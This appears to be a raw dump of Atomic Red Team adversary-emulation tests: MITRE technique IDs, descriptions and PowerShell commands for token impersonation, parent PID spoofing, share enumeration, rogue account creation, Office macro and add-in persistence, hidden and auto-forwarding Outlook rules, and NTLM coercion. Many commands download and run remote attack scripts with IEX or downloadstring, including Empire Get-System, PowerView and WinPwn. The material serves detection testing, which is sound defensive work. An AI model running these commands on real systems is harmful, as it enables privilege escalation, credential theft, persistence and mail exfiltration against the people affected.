[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
T1134.001
powershell
elevated
windows
`SeDebugPrivilege` token duplication
Token Impersonation/Theft
Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses SeDebugPrivilege to obtain, duplicate and impersonate the token of a another process. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
T1134.001
powershell
windows
Launch NSudo Executable
Token Impersonation/Theft
Launches the NSudo executable for a short period of time and then exits. NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.
Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
Start-Sleep -Second 5
Stop-Process -Name "cmd" -force -erroraction silentlycontinue
T1134.001
powershell
elevated
windows
Bad Potato
Token Impersonation/Theft
https://github.com/BeichenDream/BadPotato Privilege escalation using named pipe connections
cd "PathToAtomicsFolder\..\ExternalPayloads"
Start-Process .\BadPotato.exe notepad.exe
Start-Sleep -Second 20
Stop-Process -Name "notepad" -force -erroraction silentlycontinue
Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue
T1134.001
powershell
elevated
windows
Juicy Potato
Token Impersonation/Theft
This Atomic utilizes Juicy Potato to obtain privilege escalation. Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions. This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. [Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'
T1134.002
powershell
elevated
windows
Access Token Manipulation
Create Process with Token
This Action demonstrates how an access token for a specific program can spawn another program under a different owner. Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe
Set-ExecutionPolicy -Scope Process Bypass -Force
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
& "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
T1134.002
powershell
windows
WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique
Create Process with Token
Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem
T1134.004
powershell
windows
Parent PID Spoofing using PowerShell
Parent PID Spoofing
This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process. Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and calc.exe will be launched. Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
. "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"
T1134.004
powershell
windows
Parent PID Spoofing - Spawn from Current Process
Parent PID Spoofing
Spawns a powershell.exe process as a child of the current process.
Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}
T1134.004
powershell
windows
Parent PID Spoofing - Spawn from Specified Process
Parent PID Spoofing
Spawns a notepad.exe process as a child of the current process.
Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}
T1134.004
powershell
windows
Parent PID Spoofing - Spawn from svchost.exe
Parent PID Spoofing
Spawnd a process as a child of the first accessible svchost.exe process.
Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = 'svchost.exe' AND CommandLine LIKE '%'" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'
T1134.004
powershell
windows
Parent PID Spoofing - Spawn from New Process
Parent PID Spoofing
Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.
Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'
T1135
powershell
windows
Network Share Discovery PowerShell
Network Share Discovery
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, available network shares will be displayed in the powershell session
get-smbshare
T1135
powershell
windows
Share Discovery with PowerView
Network Share Discovery
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
T1135
powershell
windows
PowerView ShareFinder
Network Share Discovery
PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}
T1135
powershell
windows
WinPwn - shareenumeration
Network Share Discovery
Network share enumeration using the shareenumeration function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput
T1135
powershell
windows
Enumerate All Network Shares with SharpShares
Network Share Discovery
SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. This technique has been utilized by various ransomware groups, including BianLian. [Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)
cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"
T1135
powershell
windows
Enumerate All Network Shares with Snaffler
Network Share Discovery
Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. [Reference](https://unit42.paloaltonetworks.com/muddled-libra/)
invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'
T1136.001
powershell
elevated
windows
Create a new user in PowerShell
Local Account
Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
New-LocalUser -Name "#{username}" -NoPassword
T1136.001
powershell
elevated
windows
Create a new Windows admin user via .NET
Local Account
Creates a new admin user in a powershell session without using net.exe
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')
T1136.002
powershell
windows
Create a new Domain Account using PowerShell
Domain Account
Creates a new Domain User using the credentials of the Current User
$SamAccountName = '#{username}'
$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
$User.SamAccountName = $SamAccountName
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
$User.DisplayName = $SamAccountName
$User.Save()
$User
T1136.003
powershell
azure-ad
Azure AD - Create a new user
Cloud Account
Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.
Connect-AzureAD
$userprincipalname = "#{userprincipalname}"
$username = "#{username}"
$password = "#{password}"
$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile
$PasswordProfile.Password = $password
New-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username
T1136.003
powershell
azure-ad
Azure AD - Create a new user via Azure CLI
Cloud Account
Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.
az login
$userprincipalname = "#{userprincipalname}"
$username = "#{username}"
$password = "#{password}"
az ad user create --display-name $username --password $password --user-principal-name $userprincipalname
az ad user list --filter "displayname eq 'atomicredteam'"
T1137.001
powershell
elevated
windows
Injecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell
Office Template Macros
Injects a Macro in the Word default template "Normal.dotm" and makes it execute each time that Word is opened. In this test, the Macro creates a sheduled task to open Calc.exe every evening.
# Registry setting to "Trust access to the VBA project object model" in Word
$registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security"
$registryValue = "AccessVBOM"
$registryData = "1"
# The path where a flag text file will be created if Registry setting did not already exist or if it was set to 0
$flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt"
$flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt"
# Get the value of the Key/Value pair
$value = (Get-ItemProperty -Path $registryKey -Name $registryValue -ErrorAction SilentlyContinue).$registryValue
# Logical operation to: if the value of the key/value is 1, do nothing -
# if the value is 0, change it to 1 and create flag1 -
# if it doesn't exist, create the value and flag2
if ($value -eq "1")
{
Write-Host "The registry value '$registryValue' already exists with the required setting."
}
elseif ($value -eq "0")
{
Write-Host "The registry value was set to 0, temporarily changing to 1."
New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
echo "flag1" > $flagPath1
}
else
{
Write-Host "The registry value '$registryValue' does not exist, temporarily creating it."
New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
echo "flag2" > $flagPath2
}
Add-Type -AssemblyName Microsoft.Office.Interop.Word
# Define the path of copied normal template for restoral
$copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm"
# Define the path to the normal template
$docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm"
# Create copy of orginal template for restoral
Copy-Item -Path $docPath -Destination $copyPath -Force
# VBA code to be insterted as a Macro
# Will create a scheduled task to open the Calculator at 8:04pm daily
$vbaCode = @"
Sub AutoExec()
Dim applicationPath As String
Dim taskName As String
Dim runTime As String
Dim schTasksCmd As String
applicationPath = "C:\Windows\System32\calc.exe"
taskName = "OpenCalcTask"
runTime = "20:04"
schTasksCmd = "schtasks /create /tn """ & taskName & """ /tr """ & applicationPath & """ /sc daily /st " & runTime & " /f"
Shell "cmd.exe /c " & schTasksCmd, vbNormalFocus
End Sub
"@
# Create a new instance of Word.Application
$word = New-Object -ComObject Word.Application
# Keep the Word application hidden
$word.Visible = $false
# Open the document
$document = $word.Documents.Open($docPath)
# Access the VBA project of the document
$vbaProject = $document.VBProject
# Add a new module to the VBA project
$newModule = $vbaProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule
# Add the VBA code to the new module
$newModule.CodeModule.AddFromString($vbaCode)
# Run the Macro
$word.run("AutoExec")
# Save and close the document
$document.SaveAs($docPath)
$document.Close()
# Quit Word
$word.Quit()
# Release COM objects
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($document) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($word) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule) | Out-Null
T1137.002
powershell
windows
Office Application Startup Test Persistence (HKCU)
Office Test
Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))
{
Write-Host "64-bit Office"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" /f
}
else{
Write-Host "32-bit Office"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" /f
}
Stop-Process -Name "WinWord"
Start-Process "WinWord"
T1137.005
powershell
windows
Outlook Rule - Subject Trigger with DeletePermanently Action via COM Object
Outlook Rules
Creates a malicious Outlook rule via the COM object that permanently deletes emails when an email with a specific subject keyword arrives. Simulates adversary persistence via Outlook Rules (T1137.005). Uses DeletePermanently action as it does not require a resolved Exchange folder unlike MoveToFolder. NOTE: olRuleActionStartApplication cannot be created programmatically per Microsoft's Rules object model - DeletePermanently is used as the supported equivalent that generates the same rule-creation artefact. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules = $namespace.DefaultStore.GetRules()
$rule = $rules.Create("#{rule_name}", 0)
$cond = $rule.Conditions.Subject
$cond.Enabled = $true
$cond.Text = @("#{trigger_subject}")
$action = $rule.Actions.DeletePermanently
$action.Enabled = $true
$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Rule '#{rule_name}' created. Emails with subject '#{trigger_subject}' will be permanently deleted."
T1137.005
powershell
windows
Outlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object
Outlook Rules
Creates an Outlook rule via COM that permanently deletes emails received from a specific sender address. Adversaries use sender-based triggers to make rules appear more legitimate (e.g. disguised as a filter for a specific colleague). Tests a different rule condition path through the COM object model. Uses DeletePermanently as it does not require a resolved Exchange folder unlike MoveToFolder. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules = $namespace.DefaultStore.GetRules()
$rule = $rules.Create("#{rule_name}", 0)
$cond = $rule.Conditions.From
$cond.Enabled = $true
$cond.Recipients.Add("#{trigger_sender}")
$cond.Recipients.ResolveAll() | Out-Null
$action = $rule.Actions.DeletePermanently
$action.Enabled = $true
$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Sender-based rule '#{rule_name}' created. Emails from '#{trigger_sender}' will be permanently deleted."
T1137.005
powershell
windows
Outlook Rule - Auto-Forward Emails to External Address via COM Object
Outlook Rules
Creates an Outlook rule that automatically forwards all received emails to an external address. Simulates Business Email Compromise (BEC) and insider threat scenarios where adversaries establish forwarding rules to exfiltrate mail. One of the most commonly observed real-world abuses of Outlook rules. Detected by Exchange mail flow anomalies and Microsoft Secure Score forwarding alerts. NOTE: No actual email is forwarded during this test - the rule is created but a trigger email is not sent. Run cleanup immediately after verification. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules = $namespace.DefaultStore.GetRules()
$rule = $rules.Create("#{rule_name}", 0)
$action = $rule.Actions.Forward
$action.Enabled = $true
$action.Recipients.Add("#{forward_to_address}")
$action.Recipients.ResolveAll() | Out-Null
$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Auto-forward rule '#{rule_name}' created -> #{forward_to_address}"
Write-Host "[!] Run cleanup immediately after verifying rule creation in Outlook."
T1137.005
powershell
windows
Outlook Rules - Enumerate Existing Rules via PowerShell COM Object
Outlook Rules
Enumerates all Outlook rules configured on the local profile using the PowerShell COM object. Simulates the discovery phase where an adversary audits existing rules before implanting their own, or where a threat actor tool such as Ruler lists rules to understand the environment. This enumeration should itself generate telemetry - use it to validate that your monitoring catches PowerShell spawning Outlook COM for recon purposes. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$rules = $outlook.GetNamespace("MAPI").DefaultStore.GetRules()
Write-Host "`n[*] Enumerating Outlook rules on local profile..."
Write-Host " Total rules found: $($rules.Count)`n"
for ($i = 1; $i -le $rules.Count; $i++) {
$r = $rules.Item($i)
Write-Host " Rule $i : Name='$($r.Name)' | Enabled=$($r.Enabled)"
}
if ($rules.Count -eq 0) {
Write-Host " (No rules configured)"
}
T1137.005
powershell
windows
Outlook Rule - Create Rule with Obfuscated Blank Name (MAPI Evasion)
Outlook Rules
Creates an Outlook rule with a zero-width space as its display name, making it appear blank and invisible in the standard Outlook Rules UI. Simulates the hidden inbox rule technique documented by Damian Pfammatter (2018) and referenced in MITRE ATT&CK T1137.005 - adversaries use MAPI editors or Ruler to blank PR_RULE_MSG_NAME so the rule does not appear during casual rule auditing. Tests whether monitoring catches rules that are invisible in the Outlook GUI but detectable via MFCMapi or Get-InboxRule on Exchange. Uses PlaySound action as RunApplication cannot be created programmatically per Microsoft's Rules object model. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator. NOTE: Script is written to a temp file before execution to prevent the ART executor's quote-wrapping from mangling the zero-width space bytes.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$tmpScript = "$env:TEMP\T1137005_hidden_rule_create.ps1"
$lines = @(
'$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))',
'$outlook = New-Object -ComObject Outlook.Application',
'$namespace = $outlook.GetNamespace("MAPI")',
'$rules = $namespace.DefaultStore.GetRules()',
'$rule = $rules.Create($hiddenName, 0)',
'$cond = $rule.Conditions.Subject',
'$cond.Enabled = $true',
'$cond.Text = @("#{trigger_subject}")',
'$action = $rule.Actions.PlaySound',
'$action.Enabled = $true',
'$action.FilePath = "#{sound_file_path}"',
'$rule.Enabled = $true',
'$rules.Save()',
'Write-Host "[+] Hidden rule created with zero-width space name."',
'Write-Host "[*] Open Outlook via File -> Manage Rules and Alerts - rule name will appear blank."',
'Write-Host "[*] Verify rule exists via PowerShell COM enumeration (Test 4) or Get-InboxRule in Exchange."'
)
$lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript
Remove-Item $tmpScript -ErrorAction SilentlyContinue
T1137.006
powershell
windows
Code Executed Via Excel Add-in File (XLL)
Add-ins
Loads an XLL file using the excel add-ins library. This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
Write-Host "64-bit Office"
$excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll")
}
else{
Write-Host "32-bit Office"
$excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")
}
T1137.006
powershell
windows
Persistent Code Execution Via Excel Add-in File (XLL)
Add-ins
Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
Write-Host "64-bit Office"
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
}
else{
Write-Host "32-bit Office"
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
}
$ver = $excelApp.version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"
Remove-Item $ExcelRegPath -ErrorAction Ignore
New-Item -type Directory $ExcelRegPath | Out-Null
New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null
$excelApp.Quit()
Start-Process "Excel"
T1137.006
powershell
windows
Persistent Code Execution Via Word Add-in File (WLL)
Add-ins
Creates a Word Add-in file (WLL) which runs automatically when Word is started The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office. Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office.
$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))
{
Write-Host "64-bit Office"
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll"
}
else{
Write-Host "32-bit Office"
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll"
}
Stop-Process -Name "WinWord"
Start-Process "WinWord"
T1137.006
powershell
windows
Persistent Code Execution Via Excel VBA Add-in File (XLAM)
Add-ins
Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"
Start-Process "Excel"
T1137.006
powershell
windows
Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)
Add-ins
Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam"
$ver = (New-Object -COMObject "PowerPoint.Application").version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"
New-Item -type Directory $ExcelRegPath -Force | Out-Null
New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD | Out-Null
New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null
Stop-Process -Name "PowerPnt" -ErrorAction Ignore
Start-Process "PowerPnt"
T1176
powershell
elevated
windows
Google Chrome Load Unpacked Extension With Command Line
Software Extensions
This test loads an unpacked extension in Google Chrome with the --load-extension parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more. References: https://attack.mitre.org/techniques/T1176/ https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/
# Chromium
$chromium = "https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip"
# uBlock Origin Lite to test side-loading
$extension = "https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip"
Set-Location "#{working_dir}"
Set-Variable ProgressPreference SilentlyContinue
Invoke-WebRequest -URI $chromium -OutFile "#{working_dir}\chrome.zip"
Invoke-WebRequest -URI $extension -OutFile "#{working_dir}\extension.zip"
Expand-Archive chrome.zip -DestinationPath "#{working_dir}" -Force
Expand-Archive extension.zip -Force
Start-Process .\chrome-win\chrome.exe --load-extension="#{working_dir}\extension\" -PassThru
T1187
powershell
windows
PetitPotam
Forced Authentication
This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.
& "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
Write-Host "End of PetitPotam attack"
T1187
powershell
windows
WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS
Forced Authentication
PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1')
Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true"
T1187
powershell
windows
Trigger an authenticated RPC call to a target server with no Sign flag set
Forced Authentication
RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set) Ref: https://twitter.com/splinter_code/status/1421144623678988298
rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null
T1197
powershell
windows
Bitsadmin Download (PowerShell)
BITS Jobs
This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload leveraging PowerShell Upon execution you will find a github markdown file downloaded to the Temp directory
Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}
T1201
powershell
windows
Get-DomainPolicy with PowerView
Password Policy Discovery
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
T1201
powershell
windows
Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
Password Policy Discovery
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps
get-addefaultdomainpasswordpolicy
T1202
powershell
windows
Indirect Command Execution - Scriptrunner.exe
Indirect Command Execution
The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open Reference: https://x.com/NickTyrer/status/914234924655312896
Scriptrunner.exe -appvscript "#{payload_path}"
T1202
powershell
windows
Indirect Command Execution - RunMRU Dialog
Indirect Command Execution
Simulates execution of commands via the Windows Run dialog (Win+R) by programmatically opening the Run dialog, copying a command to clipboard, and automating the paste and execution. This generates artifacts in the RunMRU registry key, which is commonly abused by threat actors to execute malicious commands disguised as CAPTCHA verification steps. Upon execution, a test PowerShell command will be executed through the Run dialog.
# Copy command to clipboard
Set-Clipboard -Value '#{command}'
# Open Run dialog
Start-Process -FilePath "powershell" -ArgumentList "-c (New-Object -ComObject 'Shell.Application').FileRun()" -WindowStyle Hidden
# Wait for Run dialog to open
Start-Sleep -Seconds 1
# Paste command and execute
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait('^v')
Start-Sleep -Milliseconds 500
[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')
T1204.002
powershell
windows
OSTap Style Macro Execution
Malicious File
This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe. Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents. This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns. References: https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"cscript.exe #{jse_path}`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
T1204.002
powershell
windows
